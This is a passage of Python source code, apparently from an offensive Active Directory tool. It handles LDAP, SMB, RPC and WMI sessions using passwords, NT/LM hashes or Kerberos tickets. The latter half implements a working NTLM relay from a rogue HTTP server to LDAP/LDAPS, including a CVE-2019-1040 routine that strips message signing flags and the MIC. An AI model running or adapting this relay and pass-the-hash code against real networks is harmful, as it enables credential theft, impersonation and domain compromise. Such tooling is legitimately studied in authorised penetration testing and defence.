				# this is unnecessary, it's already done in the ldap3_kerberos_login function, save it for the doomsday scenario
				# bind = ldap_session.bind()
				self.ldap3_kerberos_login(ldap_session, target, user, password, domain, lmhash, nthash, auth_aes_key, kdcHost=self.kdcHost, useCache=self.no_pass)
				ldap_session.refresh_server_info()
			except Exception as e:
				if "invalid server address" in str(e):
					logging.error("Cannot resolve server address ({}).".format(target))
				else:
					raise e
				sys.exit(0)
		else:
			if self.hashes is not None:
				ldap_connection_kwargs["password"] = '{}:{}'.format(lmhash, nthash)
			elif password is not None:
				ldap_connection_kwargs["password"] = password
			
			try:
				ldap_session = ldap3.Connection(ldap_server, **ldap_connection_kwargs)
				bind = ldap_session.bind()
			except ldap3.core.exceptions.LDAPInvalidCredentialsResult as e:
				logging.debug("Server returns invalidCredentials")
				if 'AcceptSecurityContext error, data 80090346' in str(ldap_session.result):
					logging.warning("Channel binding is enforced!")
					if self.tls_channel_binding_supported and (self.use_ldaps or self.use_gc_ldaps):
						logging.debug("Re-authenticate with channel binding")
						return self.init_ldap_connection(target, tls, domain, username, password, lmhash, nthash, auth_aes_key, tls_channel_binding=True, auth_method=self.auth_method)
					else:
						if lmhash and nthash:
							sys.exit(-1)
						else:
							logging.info("Falling back to SIMPLE authentication")
							return self.init_ldap_connection(target, tls, domain, username, password, lmhash, nthash, auth_aes_key, auth_method=ldap3.SIMPLE)
			except ldap3.core.exceptions.LDAPStrongerAuthRequiredResult as e:
				logging.debug("Server returns LDAPStrongerAuthRequiredResult")
				logging.warning("LDAP Signing is enforced!")
				if self.sign_and_seal_supported:
					logging.debug("Re-authenticate with seal and sign")
					return self.init_ldap_connection(target, tls, domain, username, password, lmhash, nthash, auth_aes_key, seal_and_sign=True, auth_method=self.auth_method)
				else:
					sys.exit(-1)
			except ldap3.core.exceptions.LDAPInappropriateAuthenticationResult as e:
				logging.error("Cannot start kerberos signing/sealing when using TLS/SSL")
				sys.exit(-1)
			except ldap3.core.exceptions.LDAPInvalidValueError as e:
				logging.error(str(e))
				sys.exit(-1)
			except ldap3.core.exceptions.LDAPOperationsErrorResult as e:
				logging.error("Failed to bind with error: %s" % (str(e)))
				sys.exit(-1)

			if not bind:
				error_code = ldap_session.result['message'].split(",")[2].replace("data","").strip()
				error_status = LDAP.resolve_err_status(error_code)
				if error_code and error_status:
					logging.error("Bind not successful - %s [%s]" % (ldap_session.result['description'], error_status))
					logging.debug("%s" % (ldap_session.result['message']))
				else:
					logging.error(f"Unexpected Error: {str(ldap_session.result['message'])}")

				sys.exit(0)
			else:
				logging.debug("Bind SUCCESS!")

		return ldap_server, ldap_session

	def ldap3_kerberos_login(self, connection, target, user, password, domain='', lmhash='', nthash='', aesKey='', kdcHost=None, TGT=None, TGS=None, useCache=True):
		from pyasn1.codec.ber import encoder, decoder
		from pyasn1.type.univ import noValue
		from binascii import hexlify, unhexlify
		"""
		logins into the target system explicitly using Kerberos. Hashes are used if RC4_HMAC is supported.
		:param string user: username
		:param string password: password for the user
		:param string domain: domain where the account is valid for (required)
		:param string lmhash: LMHASH used to authenticate using hashes (password is not used)
		:param string nthash: NTHASH used to authenticate using hashes (password is not used)
		:param string aesKey: aes256-cts-hmac-sha1-96 or aes128-cts-hmac-sha1-96 used for Kerberos authentication
		:param string kdcHost: hostname or IP Address for the KDC. If None, the domain will be used (it needs to resolve tho)
		:param struct TGT: If there's a TGT available, send the structure here and it will be used
		:param struct TGS: same for TGS. See smb3.py for the format
		:param bool useCache: whether or not we should use the ccache for credentials lookup. If TGT or TGS are specified this is False
		:return: True, raises an Exception if error.
		"""

		if lmhash != '' or nthash != '':
			if len(lmhash) % 2:
				lmhash = '0' + lmhash
			if len(nthash) % 2:
				nthash = '0' + nthash
			try:  # just in case they were converted already
				lmhash = unhexlify(lmhash)
				nthash = unhexlify(nthash)
			except TypeError:
				pass

		# Importing down here so pyasn1 is not required if kerberos is not used.
		from impacket.krb5.ccache import CCache
		from impacket.krb5.asn1 import AP_REQ, Authenticator, TGS_REP, seq_set
		from impacket.krb5.kerberosv5 import getKerberosTGT, getKerberosTGS
		from impacket.krb5 import constants
		from impacket.krb5.types import Principal, KerberosTime, Ticket
		import datetime
		import os

		if self.TGT or self.TGS:
			useCache = False

		if useCache:
			try:
				env_krb5ccname = os.getenv('KRB5CCNAME')
				if not env_krb5ccname:
					logging.error("No KRB5CCNAME environment present.")
					sys.exit(0)
				ccache = CCache.loadFile(env_krb5ccname)
			except Exception as e:
				# No cache present
				logging.warning("No Kerberos cache found")
				pass
			else:
				# retrieve domain information from CCache file if needed
				if domain == '':
					domain = ccache.principal.realm['data'].decode('utf-8')
					logging.debug('Domain retrieved from CCache: %s' % domain)

				logging.debug('Using Kerberos Cache: %s' % os.getenv('KRB5CCNAME'))
				principal = 'ldap/%s@%s' % (target.upper(), domain.upper())

				creds = ccache.getCredential(principal)
				if creds is None:
					# Let's try for the TGT and go from there
					principal = 'krbtgt/%s@%s' % (domain.upper(), domain.upper())
					creds = ccache.getCredential(principal)
					if creds is not None:
						self.TGT = creds.toTGT()
						logging.debug('Using TGT from cache')
					else:
						logging.debug('No valid credentials found in cache')
				else:
					self.TGS = creds.toTGS(principal)
					logging.debug('Using TGS from cache')

				# retrieve user information from CCache file if needed
				if user == '' and creds is not None:
					user = creds['client'].prettyPrint().split(b'@')[0].decode('utf-8')
					logging.debug('Username retrieved from CCache: %s' % user)
				elif user == '' and len(ccache.principal.components) > 0:
					user = ccache.principal.components[0]['data'].decode('utf-8')
					logging.debug('Username retrieved from CCache: %s' % user)

		# First of all, we need to get a TGT for the user
		userName = Principal(user, type=constants.PrincipalNameType.NT_PRINCIPAL.value)
		if not self.TGT:
			self.TGT = dict()
			if not self.TGS:
				tgt, cipher, oldSessionKey, sessionKey = getKerberosTGT(userName, password, domain, lmhash, nthash, aesKey, kdcHost)
				self.TGT['KDC_REP'] = tgt
				self.TGT['cipher'] = cipher
				self.TGT['oldSessionKey'] = oldSessionKey
				self.TGT['sessionKey'] = sessionKey
		else:
			tgt = self.TGT['KDC_REP']
			cipher = self.TGT['cipher']
			sessionKey = self.TGT['sessionKey']

		if not self.TGS:
			self.TGS = dict()
			serverName = Principal('ldap/%s' % target, type=constants.PrincipalNameType.NT_SRV_INST.value)
			tgs, cipher, oldSessionKey, sessionKey = getKerberosTGS(serverName, domain, kdcHost, tgt, cipher, sessionKey)
			self.TGS['KDC_REP'] = tgs
			self.TGS['cipher'] = cipher
			self.TGS['oldSessionKey'] = oldSessionKey
			self.TGS['sessionKey'] = sessionKey
		else:
			tgs = self.TGS['KDC_REP']
			cipher = self.TGS['cipher']
			sessionKey = self.TGS['sessionKey']

			# Let's build a NegTokenInit with a Kerberos REQ_AP

		blob = SPNEGO_NegTokenInit()

		# Kerberos
		blob['MechTypes'] = [TypesMech['MS KRB5 - Microsoft Kerberos 5']]

		# Let's extract the ticket from the TGS
		tgs = decoder.decode(tgs, asn1Spec=TGS_REP())[0]
		ticket = Ticket()
		ticket.from_asn1(tgs['ticket'])

		# Now let's build the AP_REQ
		apReq = AP_REQ()
		apReq['pvno'] = 5
		apReq['msg-type'] = int(constants.ApplicationTagNumbers.AP_REQ.value)

		opts = []
		apReq['ap-options'] = constants.encodeFlags(opts)
		seq_set(apReq, 'ticket', ticket.to_asn1)

		authenticator = Authenticator()
		authenticator['authenticator-vno'] = 5
		authenticator['crealm'] = domain
		seq_set(authenticator, 'cname', userName.components_to_asn1)
		now = datetime.datetime.utcnow()

		authenticator['cusec'] = now.microsecond
		authenticator['ctime'] = KerberosTime.to_asn1(now)

		encodedAuthenticator = encoder.encode(authenticator)

		# Key Usage 11
		# AP-REQ Authenticator (includes application authenticator
		# subkey), encrypted with the application session key
		# (Section 5.5.1)
		encryptedEncodedAuthenticator = cipher.encrypt(sessionKey, 11, encodedAuthenticator, None)

		apReq['authenticator'] = noValue
		apReq['authenticator']['etype'] = cipher.enctype
		apReq['authenticator']['cipher'] = encryptedEncodedAuthenticator

		blob['MechToken'] = encoder.encode(apReq)

		request = ldap3.operation.bind.bind_operation(connection.version, connection.authentication, connection.user, None, 'GSS-SPNEGO',
													  blob.getData())

		# Done with the Kerberos saga, now let's get into LDAP
		if connection.closed:  # try to open connection if closed
			connection.open(read_server_info=False)

		connection.sasl_in_progress = True
		response = connection.post_send_single_response(connection.send('bindRequest', request, None))
		connection.sasl_in_progress = False
		if response[0]['result'] != 0:
			raise Exception(response)

		connection.bound = True

		return True

	def init_smb_session(self, host, username=None, password=None, nthash=None, lmhash=None, aesKey=None, domain=None, timeout=10, useCache=True):
		try:
			username = username or self.username
			password = password or self.password 
			nthash = nthash or self.nthash
			lmhash = lmhash or self.lmhash
			aesKey = aesKey or self.auth_aes_key
			if aesKey:
				useKerberos = True
				useCache = False
			else:
				useKerberos = self.use_kerberos

			domain = domain or self.domain

			if host in self.smb_sessions:
				logging.debug(f"[Connection: init_smb_session] Returning stored SMB session for {host}")
				return self.smb_sessions[host]

			logging.debug(f"[Connection: init_smb_session] Default timeout is set to {timeout}. Expect a delay")
			conn = SMBConnection(host, host, sess_port=445, timeout=timeout)
			if useKerberos:
				if self.TGT and self.TGS:
					useCache = False

				if useCache:
					import os
					from impacket.krb5.ccache import CCache
					from impacket.krb5.kerberosv5 import KerberosError
					from impacket.krb5 import constants

					try:
						ccache = CCache.loadFile(os.getenv('KRB5CCNAME'))
					except Exception as e:
						logging.info(str(e))
						return
					else:
						if domain == '':
							domain = ccache.principal.realm['data'].decode('utf-8')
							logging.debug('Domain retrieved from CCache: %s' % domain)

						logging.debug('Using Kerberos Cache: %s' % os.getenv('KRB5CCNAME'))
						principal = 'cifs/%s@%s' % (self.targetIp.upper(), domain.upper())

						creds = ccache.getCredential(principal)
						if creds is None:
							principal = 'krbtgt/%s@%s' % (domain.upper(), domain.upper())
							creds = ccache.getCredential(principal)
							if creds is not None:
								self.TGT = creds.toTGT()
								logging.debug('Using TGT from cache')
							else:
								logging.debug('No valid credentials found in cache')
						else:
							self.TGS = creds.toTGS(principal)
							logging.debug('Using TGS from cache')

						if username == '' and creds is not None:
							username = creds['client'].prettyPrint().split(b'@')[0].decode('utf-8')
							logging.debug('Username retrieved from CCache: %s' % username)
						elif username == '' and len(ccache.principal.components) > 0:
							username = ccache.principal.components[0]['data'].decode('utf-8')
							logging.debug('Username retrieved from CCache: %s' % username)
				
				conn.kerberosLogin(username, password, domain, lmhash, nthash, aesKey, self.dc_ip, self.TGT, self.TGS)
			else:
				conn.login(username, password, domain, lmhash, nthash)
			self.smb_sessions[host] = conn
			return conn
		except OSError as e:
			logging.debug(str(e))
			raise
		except SessionError as e:
			logging.debug(str(e))
			raise
		except AssertionError as e:
			logging.debug(str(e))
			raise

	def init_samr_session(self):
		if not self.samr:
			self.samr = self.connectSamr()
		return self.samr

	# TODO: FIX kerberos auth
	def connectSamr(self):
		rpctransport = transport.SMBTransport(self.dc_ip, filename=r'\samr')

		if hasattr(rpctransport, 'set_credentials'):
			rpctransport.set_credentials(self.username, self.password, self.domain, lmhash=self.lmhash, nthash=self.nthash, aesKey=self.auth_aes_key, TGT=self.TGT, TGS=self.TGS)

		rpctransport.set_kerberos(self.use_kerberos, kdcHost=self.kdcHost)

		try:
			dce = rpctransport.get_dce_rpc()
			if self.use_kerberos:
				dce.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE)
			dce.set_auth_level(RPC_C_AUTHN_LEVEL_PKT_PRIVACY)
			dce.connect()
			dce.bind(samr.MSRPC_UUID_SAMR)
			return dce
		except:
			return None

	# stole from PetitPotam.py
	# TODO: FIX kerberos auth
	def connectRPCTransport(self,
		host=None,
		username=None,
		password=None,
		domain=None,
		lmhash=None,
		nthash=None,
		stringBindings=None,
		interface_uuid=None,
		port=445,
		auth=True,
		set_authn=False,
		raise_exceptions=False
	):
		if self.stack_trace:
			raise_exceptions = True

		if not host:
			host = self.dc_ip

		if not domain:
			domain = self.domain

		if not username:
			username = self.username

		if username:
			if username and ('/' in username or '\\' in username):
				domain, username = username.replace('/', '\\').split('\\')
			elif '@' in username:
				username, domain = username.split('@')

		if not password:
			password = self.password

		if not nthash:
			nthash = self.nthash

		if not lmhash:
			lmhash = self.lmhash

		logging.debug("[ConnectRPCTransport] Using credentials: %s, %s, %s, %s, %s" % (username, password, domain, lmhash, nthash))

		if not stringBindings:
			stringBindings = epm.hept_map(host, samr.MSRPC_UUID_SAMR, protocol ='ncacn_ip_tcp')

		logging.debug("[ConnectRPCTransport] Connecting to %s" % stringBindings)
		rpctransport = transport.DCERPCTransportFactory(stringBindings)
		rpctransport.set_dport(port)

		if hasattr(rpctransport, 'set_credentials') and auth:
			rpctransport.set_credentials(username, password, domain, lmhash, nthash, TGT=self.TGT)

		if hasattr(rpctransport, 'set_kerberos') and self.use_kerberos and auth:
			rpctransport.set_kerberos(self.use_kerberos, kdcHost=self.kdcHost)

		if host:
			rpctransport.setRemoteHost(host)

		dce = rpctransport.get_dce_rpc()

		if set_authn:
			dce.set_auth_type(RPC_C_AUTHN_WINNT)
			dce.set_auth_level(RPC_C_AUTHN_LEVEL_PKT_PRIVACY)

		try:
			dce.connect()
			if interface_uuid:
				dce.bind(interface_uuid)
			return dce
		except SessionError as e:
			logging.debug("[connectRPCTransport:SessionError] %s" % str(e))
			if raise_exceptions:
				raise e
			else:
				return
		except Exception as e:
			logging.debug("[connectRPCTransport:Exception] %s" % str(e))
			if raise_exceptions:
				raise e
			else:
				return

	# stolen from pywerview
	def create_rpc_connection(self, host, pipe):
		binding_strings = dict()
		binding_strings['srvsvc'] = srvs.MSRPC_UUID_SRVS
		binding_strings['wkssvc'] = wkst.MSRPC_UUID_WKST
		binding_strings['samr'] = samr.MSRPC_UUID_SAMR
		binding_strings['svcctl'] = scmr.MSRPC_UUID_SCMR
		binding_strings['drsuapi'] = drsuapi.MSRPC_UUID_DRSUAPI

		# TODO: try to fallback to TCP/139 if tcp/445 is closed
		if pipe == r'\drsuapi':
			string_binding = epm.hept_map(host, drsuapi.MSRPC_UUID_DRSUAPI,
										  protocol='ncacn_ip_tcp')
			rpctransport = transport.DCERPCTransportFactory(string_binding)
			rpctransport.set_credentials(username=self.username, password=self.password,
										 domain=self.domain, lmhash=self.lmhash,
										 nthash=self.nthash, TGT=self.TGT, TGS=self.TGS)
		else:
			rpctransport = transport.SMBTransport(host, 445, pipe,
												  username=self.username, password=self.password,
												  domain=self.domain, lmhash=self.lmhash,
												  nthash=self.nthash, doKerberos=self.use_kerberos, TGT=self.TGT, TGS=self.TGS)

		rpctransport.set_connect_timeout(10)
		dce = rpctransport.get_dce_rpc()

		if pipe == r'\drsuapi':
			dce.set_auth_level(RPC_C_AUTHN_LEVEL_PKT_PRIVACY)

		try:
			dce.connect()
		except Exception as e:
			logging.critical('Error when creating RPC connection')
			logging.critical(e)
			self.rpc_conn = None
		else:
			dce.bind(binding_strings[pipe[1:]])
			self.rpc_conn = dce

		return self.rpc_conn

	def init_wmi_session(self, target, username=None, password=None, domain=None, lmhash=None, nthash=None, aesKey=None, do_kerberos=False, namespace='//./root/cimv2'):
		self.dcom = DCOMConnection(
				target,
				username if username is not None else self.username,
				password if password is not None else self.password,
				domain if domain is not None else self.domain,
				lmhash if lmhash is not None else self.lmhash,
				nthash if nthash is not None else self.nthash,
				aesKey if aesKey is not None else getattr(self, 'auth_aes_key', None),
				oxidResolver=True,
				doKerberos=do_kerberos if do_kerberos is not None else getattr(self, 'use_kerberos', False)
			)
		try:
			iInterface = self.dcom.CoCreateInstanceEx(wmi.CLSID_WbemLevel1Login, wmi.IID_IWbemLevel1Login)
			iWbemLevel1Login = wmi.IWbemLevel1Login(iInterface)
			self.wmi_conn = iWbemLevel1Login.NTLMLogin(namespace, NULL, NULL)
			iWbemLevel1Login.RemRelease()
			return self.dcom, self.wmi_conn
		except DCERPCSessionError as e:
			if hasattr(e, 'error_code') and e.error_code == 0x80041003:
				logging.debug(f"[init_wmi_session] Access denied (0x80041003): {e}")
				return self.dcom, self.wmi_conn
			raise
		except Exception as e:
			if 'WBEM_E_ACCESS_DENIED' in str(e) or '0x80041003' in str(e):
				logging.debug(f"[init_wmi_session] Access denied: {e}")
				return self.dcom, self.wmi_conn
			self.disconnect_wmi_session()
			raise

	def disconnect_wmi_session(self):
		try:
			if self.wmi_conn:
				try:
					self.wmi_conn.RemRelease()
				except Exception as e:
					logging.debug(f"[disconnect_wmi_session] RemRelease failed: {e}")
				finally:
					self.wmi_conn = None
			if self.dcom:
				try:
					self.dcom.disconnect()
				except Exception as e:
					logging.debug(f"[disconnect_wmi_session] dcom.disconnect failed: {e}")
				finally:
					self.dcom = None
		except Exception as e:
			logging.debug(f"[disconnect_wmi_session] Unexpected error: {e}")

	def init_rpc_session(self, host, pipe=r'\srvsvc'):
		if not self.rpc_conn:
			return self.create_rpc_connection(host=host, pipe=pipe)
		else:
			return self.rpc_conn

	def is_connection_alive(self):
		"""
		Check if the LDAP connection is alive and functional
		
		Returns:
			bool: True if connection is alive, False otherwise
		"""
		try:
			# Try a simple operation to verify connection
			if self.ldap_session and self.ldap_session.bound:
				# Perform a simple search operation
				result = self.ldap_session.search(
					search_base=self.ldap_server.info.other['defaultNamingContext'][0],
					search_filter='(objectClass=*)',
					search_scope='BASE',
					attributes=['1.1']
				)
				return result
			return False
		except Exception:
			return False

	def keep_alive(self):
		"""
		Perform a lightweight LDAP operation to keep the connection alive
		
		Returns:
			bool: True if connection is still alive, False otherwise
		"""
		try:
			# Perform a simple search with minimal overhead
			result = self.is_connection_alive()
			logging.debug("[Connection] Connection keep-alive check: Success")
			return result
		except Exception as e:
			logging.debug(f"[Connection] Connection keep-alive check failed: {str(e)}")
			return False

	def __del__(self):
		"""Destructor to ensure all resources are properly cleaned up"""
		try:
			self.close()
		except:
			pass

class LDAPRelayServer(LDAPRelayClient):
	def initConnection(self):
		self.ldap_relay.scheme = "LDAP"
		self.server = ldap3.Server("ldap://%s:%s" % (self.targetHost, self.targetPort), get_info=ldap3.ALL)
		self.session = ldap3.Connection(self.server, user="a", password="b", authentication=ldap3.NTLM)
		self.session.open(False)
		return True

	def sendAuth(self, authenticateMessageBlob, serverChallenge=None):
		if unpack('B', authenticateMessageBlob[:1])[0] == SPNEGO_NegTokenResp.SPNEGO_NEG_TOKEN_RESP:
			respToken2 = SPNEGO_NegTokenResp(authenticateMessageBlob)
			token = respToken2['ResponseToken']
		else:
			token = authenticateMessageBlob

		authMessage = NTLMAuthChallengeResponse()
		authMessage.fromString(token)
		# When exploiting CVE-2019-1040, remove flags
		if self.serverConfig.remove_mic:
			if authMessage['flags'] & NTLMSSP_NEGOTIATE_SIGN == NTLMSSP_NEGOTIATE_SIGN:
				authMessage['flags'] ^= NTLMSSP_NEGOTIATE_SIGN
			if authMessage['flags'] & NTLMSSP_NEGOTIATE_ALWAYS_SIGN == NTLMSSP_NEGOTIATE_ALWAYS_SIGN:
				authMessage['flags'] ^= NTLMSSP_NEGOTIATE_ALWAYS_SIGN
			if authMessage['flags'] & NTLMSSP_NEGOTIATE_KEY_EXCH == NTLMSSP_NEGOTIATE_KEY_EXCH:
				authMessage['flags'] ^= NTLMSSP_NEGOTIATE_KEY_EXCH
			if authMessage['flags'] & NTLMSSP_NEGOTIATE_VERSION == NTLMSSP_NEGOTIATE_VERSION:
				authMessage['flags'] ^= NTLMSSP_NEGOTIATE_VERSION
			authMessage['MIC'] = b''
			authMessage['MICLen'] = 0
			authMessage['Version'] = b''
			authMessage['VersionLen'] = 0
			token = authMessage.getData()

		with self.session.connection_lock:
			self.authenticateMessageBlob = token
			request = bind.bind_operation(self.session.version, 'SICILY_RESPONSE_NTLM', self, None)
			response = self.session.post_send_single_response(self.session.send('bindRequest', request, None))
			result = response[0]
		self.session.sasl_in_progress = False

		if result['result'] == RESULT_SUCCESS:
			self.session.bound = True
			self.session.refresh_server_info()
			self.ldap_relay.ldap_server = self.server
			self.ldap_relay.ldap_session = self.session

			return None, STATUS_SUCCESS
		else:
			if result['result'] == RESULT_STRONGER_AUTH_REQUIRED and self.PLUGIN_NAME != 'LDAPS':
				logging.error('Server rejected authentication because LDAP signing is enabled. Try connecting with TLS enabled (specify target as ldaps://hostname )')
		return None, STATUS_ACCESS_DENIED

	def cleanup(self):
		"""Properly cleanup LDAP connections"""
		try:
			if hasattr(self, 'session') and self.session:
				if self.session.bound:
					self.session.unbind()
				self.session = None
		except Exception as e:
			logging.error(f"Error during LDAP relay server cleanup: {str(e)}")

	def __del__(self):
		"""Destructor to ensure cleanup"""
		self.cleanup()

class LDAPSRelayServer(LDAPRelayServer):
	def __init__(self, serverConfig, target, targetPort = 636, extendedSecurity=True):
		LDAPRelayClient.__init__(self, serverConfig, target, targetPort, extendedSecurity)
	
	def initConnection(self):
		self.ldap_relay.scheme = "LDAPS"
		self.server = ldap3.Server("ldaps://%s:%s" % (self.targetHost, self.targetPort), get_info=ldap3.ALL)
		self.session = ldap3.Connection(self.server, user="a", password="b", authentication=ldap3.NTLM)
		try:
			self.session.open(False)
		except:
			pass
		return True

class HTTPRelayServer(HTTPRelayServer):
	class HTTPHandler(HTTPRelayServer.HTTPHandler):
		def do_relay(self, messageType, token, proxy, content = None):
			if messageType == 1:
				if self.server.config.disableMulti:
					self.target = self.server.config.target.getTarget(multiRelay=False)
					if self.target is None:
						logging.info("HTTPD(%s): Connection from %s controlled, but there are no more targets left!" % (
							self.server.server_address[1], self.client_address[0]))
						self.send_not_found()
						return
  
					logging.info("HTTPD(%s): Connection from %s controlled, attacking target %s://%s" % (
						self.server.server_address[1], self.client_address[0], self.target.scheme, self.target.netloc))
				try:
					ntlm_nego = self.do_ntlm_negotiate(token, proxy=proxy)
				except ldap3.core.exceptions.LDAPSocketOpenError as e:
					logging.debug(str(e))
					self.cleanup_connections()  # Add cleanup before exit
					return  # Return instead of exit to allow proper cleanup

				if not ntlm_nego:
					# Connection failed
					if self.server.config.disableMulti:
						logging.error('HTTPD(%s): Negotiating NTLM with %s://%s failed' % (self.server.server_address[1],
								  self.target.scheme, self.target.netloc))
						self.server.config.target.logTarget(self.target)
						self.send_not_found()
						return
					else:
						logging.error('HTTPD(%s): Negotiating NTLM with %s://%s failed. Skipping to next target' % (
							self.server.server_address[1], self.target.scheme, self.target.netloc))

						self.server.config.target.logTarget(self.target)
						self.target = self.server.config.target.getTarget(identity=self.authUser)

						if self.target is None:
							logging.info( "HTTPD(%s): Connection from %s@%s controlled, but there are no more targets left!" %
								(self.server.server_address[1], self.authUser, self.client_address[0]))
							self.send_not_found()
							return

						logging.info("HTTPD(%s): Connection from %s@%s controlled, attacking target %s://%s" % (self.server.server_address[1],
							self.authUser, self.client_address[0], self.target.scheme, self.target.netloc))

						self.do_REDIRECT()

			elif messageType == 3:
				authenticateMessage = NTLMAuthChallengeResponse()
				authenticateMessage.fromString(token)

				if self.server.config.disableMulti:
					if authenticateMessage['flags'] & NTLMSSP_NEGOTIATE_UNICODE:
						self.authUser = ('%s/%s' % (authenticateMessage['domain_name'].decode('utf-16le'),
													authenticateMessage['user_name'].decode('utf-16le'))).upper()
					else:
						self.authUser = ('%s/%s' % (authenticateMessage['domain_name'].decode('ascii'),
													authenticateMessage['user_name'].decode('ascii'))).upper()

					target = '%s://%s@%s' % (self.target.scheme, self.authUser.replace("/", '\\'), self.target.netloc)

				if not self.do_ntlm_auth(token, authenticateMessage):
					logging.error("Authenticating against %s://%s as %s FAILED" % (self.target.scheme, self.target.netloc,
																			   self.authUser))
					if self.server.config.disableMulti:
						self.send_not_found()
						return
					# Only skip to next if the login actually failed, not if it was just anonymous login or a system account
					# which we don't want
					if authenticateMessage['user_name'] != '':  # and authenticateMessage['user_name'][-1] != '$':
						self.server.config.target.logTarget(self.target)
						# No anonymous login, go to next host and avoid triggering a popup
						self.target = self.server.config.target.getTarget(identity=self.authUser)
						if self.target is None:
							logging.info("HTTPD(%s): Connection from %s@%s controlled, but there are no more targets left!" %
								(self.server.server_address[1], self.authUser, self.client_address[0]))
							self.send_not_found()
							return

						logging.info("HTTPD(%s): Connection from %s@%s controlled, attacking target %s://%s" % (self.server.server_address[1],
							self.authUser, self.client_address[0], self.target.scheme, self.target.netloc))

						self.do_REDIRECT()
					else:
						# If it was an anonymous login, send 401
						self.do_AUTHHEAD(b'NTLM', proxy=proxy)
				else:
					# Relay worked, do whatever we want here...
					logging.info("HTTPD(%s): Authenticating against %s://%s as %s SUCCEED" % (self.server.server_address[1],
						self.target.scheme, self.target.netloc, self.authUser))
					if self.server.config.disableMulti:
						# We won't use the redirect trick, closing connection...
						if self.command == "PROPFIND":
							self.send_multi_status(content)
						else:
							self.send_not_found()
						return
					else:
						# Let's grab our next target
						self.target = self.server.config.target.getTarget(identity=self.authUser)

						if self.target is None:
							LOG.info("HTTPD(%s): Connection from %s@%s controlled, but there are no more targets left!" % (
								self.server.server_address[1], self.authUser, self.client_address[0]))

							# Return Multi-Status status code to WebDAV servers
							if self.command == "PROPFIND":
								self.send_multi_status(content)
								return

							# Serve image and return 200 if --serve-image option has been set by user
							if (self.server.config.serve_image):
								self.serve_image()
								return

							# And answer 404 not found
							self.send_not_found()
							return

						# We have the next target, let's keep relaying...
						logging.info("HTTPD(%s): Connection from %s@%s controlled, attacking target %s://%s" % (self.server.server_address[1],
							self.authUser, self.client_address[0], self.target.scheme, self.target.netloc))
						self.do_REDIRECT()

		def cleanup_connections(self):
			"""Clean up any open connections"""
			try:
				if hasattr(self, 'target') and self.target:
					if hasattr(self.target, 'session') and self.target.session:
						if getattr(self.target.session, 'bound', False):
							self.target.session.unbind()
						self.target.session = None
			except Exception as e:
				logging.error(f"Error during HTTP handler cleanup: {str(e)}")

	def __init__(self, *args, **kwargs):
		super().__init__(*args, **kwargs)
		self._active_connections = []
	
	def cleanup(self):
		"""Clean up server resources"""
		try:
			# Clean up active connections
			for conn in self._active_connections:
				if conn and hasattr(conn, 'cleanup'):
					conn.cleanup()
			self._active_connections = []
			
			# Close server socket
			if hasattr(self, 'socket') and self.socket:
				self.socket.close()
				self.socket = None
		except Exception as e:
			logging.error(f"Error during HTTP relay server cleanup: {str(e)}")
	
	def __del__(self):
		"""Destructor to ensure cleanup"""
		self.cleanup()

class Relay:
	def __init__(self, target, interface="0.0.0.0", port=80, args=None):
		self.target = target
		self.interface = interface
		self.port = port
		self.args = args
		self.ldap_session = None
		self.ldap_server = None
		self.scheme = None

		target = TargetsProcessor(
					singleTarget=self.target, protocolClients={
							"LDAP": self.get_relay_ldap_server,
							"LDAPS": self.get_relay_ldaps_server,
						}
				)

		config = NTLMRelayxConfig()
		config.setTargets(target)
		config.setInterfaceIp(interface)
		config.setListeningPort(port)
		config.setProtocolClients(
			{
				"LDAP": self.get_relay_ldap_server,
				"LDAPS": self.get_relay_ldaps_server,
			}
		)
		config.setMode("RELAY")
		config.setDisableMulti(True)
		self.server = HTTPRelayServer(config)

		self._servers = []  # Track active servers

	def get_scheme(self):
		return self.scheme

	def get_ldap_session(self):
		return self.ldap_session

	def get_ldap_server(self):
		return self.ldap_server

	def start(self):
		self.server.start()

		try:
			while True:
				if self.ldap_session is not None:
					logging.debug("Success! Relayed to the LDAP server. Closing HTTP Server")
					self.server.server.server_close()
					break
				sleep(0.1)
		except KeyboardInterrupt:
			print("")
			self.shutdown()
		except Exception as e:
			logging.error("Got error: %s" % e)
			sys.exit()

	def get_relay_ldap_server(self, *args, **kwargs) -> LDAPRelayClient:
		server = super().get_relay_ldap_server(*args, **kwargs)
		if server:
			self._servers.append(server)
		return server

	def get_relay_ldaps_server(self, *args, **kwargs) -> LDAPRelayClient:
		server = super().get_relay_ldaps_server(*args, **kwargs)
		if server:
			self._servers.append(server)
		return server

	def shutdown(self):
		"""Enhanced shutdown to ensure all resources are released"""
		try:
			# Close all tracked servers
			for server in self._servers:
				if hasattr(server, 'cleanup'):
					server.cleanup()
			self._servers = []
			
			# Call parent shutdown if it exists
			if hasattr(super(), 'shutdown'):
				super().shutdown()
		except Exception as e:
			logging.error(f"Error during relay shutdown: {str(e)}")
	
	def __del__(self):
		"""Destructor to ensure shutdown"""
		self.shutdown()